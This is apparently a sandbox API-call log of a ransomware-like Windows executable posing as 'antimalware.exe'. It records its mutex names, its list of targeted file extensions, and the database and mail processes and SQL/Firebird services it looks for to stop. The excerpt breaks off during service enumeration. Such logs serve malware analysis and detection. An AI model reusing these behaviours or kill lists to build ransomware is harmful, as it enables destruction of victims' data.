# Flog Txt Version 1
# Analyzer Version: 3.0.2
# Analyzer Build Date: May  3 2019 14:51:36
# Log Creation Date: 11.05.2019 20:38:32.371

Process:
	id = "1"
	image_name = "cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	page_root = "0xfdb3000"
	os_pid = "0x6cc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x540

	[0027.349] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000
	[0027.349] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0
	[0027.349] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0
	[0027.349] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40
	[0027.349] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10
	[0027.350] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40
	[0027.351] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410
	[0027.352] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0
	[0027.353] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0
	[0027.356] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0
	[0027.357] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0
	[0027.357] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010
	[0027.357] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0
	[0027.357] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0
	[0027.357] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750
	[0027.357] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00
	[0029.479] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0
	[0029.480] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380
	[0029.480] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70
	[0029.480] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80
	[0029.480] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000
	[0031.611] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210
	[0031.611] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000
	[0035.587] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730
	[0035.587] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000
	[0035.587] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070
	[0035.587] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74500000
	[0035.693] GetProcAddress (hModule=0x74500000, lpProcName="WNetCloseEnum") returned 0x74502640
	[0035.693] GetProcAddress (hModule=0x74500000, lpProcName="WNetOpenEnumW") returned 0x74502790
	[0035.693] GetProcAddress (hModule=0x74500000, lpProcName="WNetEnumResourceW") returned 0x74502410
	[0035.693] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160
	[0035.885] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0
	[0035.886] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0
	[0035.886] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0
	[0035.886] GetProcessHeap () returned 0x650000
	[0035.886] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20) returned 0x65b1b0
	[0035.886] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=12741670470) returned 1
	[0035.886] GetTickCount () returned 0x1f18f
	[0035.886] GetCurrentProcessId () returned 0x6cc
	[0035.887] GetTickCount () returned 0x1f18f
	[0035.887] GetTickCount () returned 0x1f18f
	[0035.887] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20) returned 0x65af80
	[0035.887] GetVersion () returned 0x23f00206
	[0035.887] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x7) returned 0x6660e0
	[0035.887] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6681e8
	[0035.887] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6681e8, Size=0x20) returned 0x65afa8
	[0035.887] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x65afa8, Size=0x40) returned 0x66b1d0
	[0035.887] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x66f658
	[0035.887] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIA") returned 0x0
	[0035.887] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_LBGLWIA") returned 0x1ec
	[0035.887] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6660e0 | out: hHeap=0x650000) returned 1
	[0035.887] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0035.887] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b1d0 | out: hHeap=0x650000) returned 1
	[0035.887] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x7) returned 0x6661b0
	[0035.887] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6681e8
	[0035.887] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6681e8, Size=0x20) returned 0x65afa8
	[0035.887] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x65afa8, Size=0x40) returned 0x66b458
	[0035.887] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x67f660
	[0035.888] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIU") returned 0x0
	[0035.888] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_LBGLWIU") returned 0x1f0
	[0035.888] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6661b0 | out: hHeap=0x650000) returned 1
	[0035.888] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0035.888] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b458 | out: hHeap=0x650000) returned 1
	[0035.888] GetVersion () returned 0x23f00206
	[0035.888] GetCurrentProcess () returned 0xffffffff
	[0035.888] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0035.888] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0035.888] CloseHandle (hObject=0x1f4) returned 1
	[0035.888] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0035.888] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x665c00
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x668260
	[0035.888] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668260, Size=0x20) returned 0x65afa8
	[0035.888] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x65afa8, Size=0x40) returned 0x66b650
	[0035.888] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b650, Size=0x80) returned 0x6623c8
	[0035.888] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6623c8, Size=0x100) returned 0x662520
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x34) returned 0x66a4f0
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x666180
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x666110
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x666210
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x667fc0
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x666080
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6681e8
	[0035.888] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666080, Size=0x8) returned 0x6660e0
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x668050
	[0035.888] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6660e0, Size=0x10) returned 0x668200
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6680e0
	[0035.888] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6680f8
	[0035.888] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668200, Size=0x20) returned 0x65afa8
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x668260
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x668200
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666180, Size=0x8) returned 0x666130
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666110, Size=0x8) returned 0x6660e0
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x6661b0
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x668290
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x666110
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x667fd8
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666110, Size=0x8) returned 0x666080
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6682a8
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666080, Size=0x10) returned 0x668320
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6682c0
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x666080
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668320, Size=0x20) returned 0x68f738
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666130, Size=0x10) returned 0x6682f0
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6660e0, Size=0x10) returned 0x668308
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x6660e0
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x668350
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x666110
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6682d8
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666110, Size=0x8) returned 0x666130
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x6661c0
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x668368
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x666150
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x668320
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666150, Size=0x8) returned 0x666110
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6682f0, Size=0x20) returned 0x68fa30
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668308, Size=0x20) returned 0x68f968
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x666180
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6682f0
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x666150
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x668338
	[0035.889] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x666150, Size=0x8) returned 0x666160
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x6658e0
	[0035.889] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x665b80
	[0035.889] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0035.889] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x662520 | out: hHeap=0x650000) returned 1
	[0035.889] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x668308
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668308, Size=0x20) returned 0x68f8f0
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f8f0, Size=0x40) returned 0x66b650
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b650, Size=0x80) returned 0x668708
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668708, Size=0x100) returned 0x662520
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x668308
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668308, Size=0x20) returned 0x68f828
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f828, Size=0x40) returned 0x66b4a0
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b4a0, Size=0x80) returned 0x668708
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668708, Size=0x100) returned 0x6947d8
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x668308
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x693db0
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693db0, Size=0x8) returned 0x693dc0
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x665b20
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693dc0, Size=0x10) returned 0x694c70
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x18) returned 0x665820
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1a) returned 0x68fa80
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c70, Size=0x20) returned 0x68faa8
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c) returned 0x68f9b8
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x16) returned 0x6659c0
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1a) returned 0x68f800
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x694c28
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x693cc0
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x66b380
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693cc0, Size=0x8) returned 0x693dc0
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x3c) returned 0x66b650
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693dc0, Size=0x10) returned 0x694c40
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x665b60
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x18) returned 0x665b00
	[0035.893] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c40, Size=0x20) returned 0x68f990
	[0035.893] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x24) returned 0x666c68
	[0035.893] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0035.893] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x662520 | out: hHeap=0x650000) returned 1
	[0035.893] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0035.893] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6947d8 | out: hHeap=0x650000) returned 1
	[0035.894] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68f8c8
	[0035.896] EnumServicesStatusExW (in: hSCManager=0x68f8c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0035.897] GetLastError () returned 0xea
	[0035.897] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c30) returned 0x696ed0
	[0035.897] EnumServicesStatusExW (in: hSCManager=0x68f8c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x696ed0, cbBufSize=0x1c30, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x696ed0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0035.898] CloseServiceHandle (hSCObject=0x68f8c8) returned 1
	[0035.898] lstrlenW (lpString="Appinfo") returned 7
	[0035.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0035.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0035.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0035.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0035.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0035.900] lstrlenW (lpString="AppXSvc") returned 7
	[0035.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0035.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0035.900] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0035.900] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0035.901] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0035.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0035.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0035.901] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0035.901] lstrlenW (lpString="Audiosrv") returned 8
	[0035.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0035.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0035.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0035.901] lstrlenW (lpString="BFE") returned 3
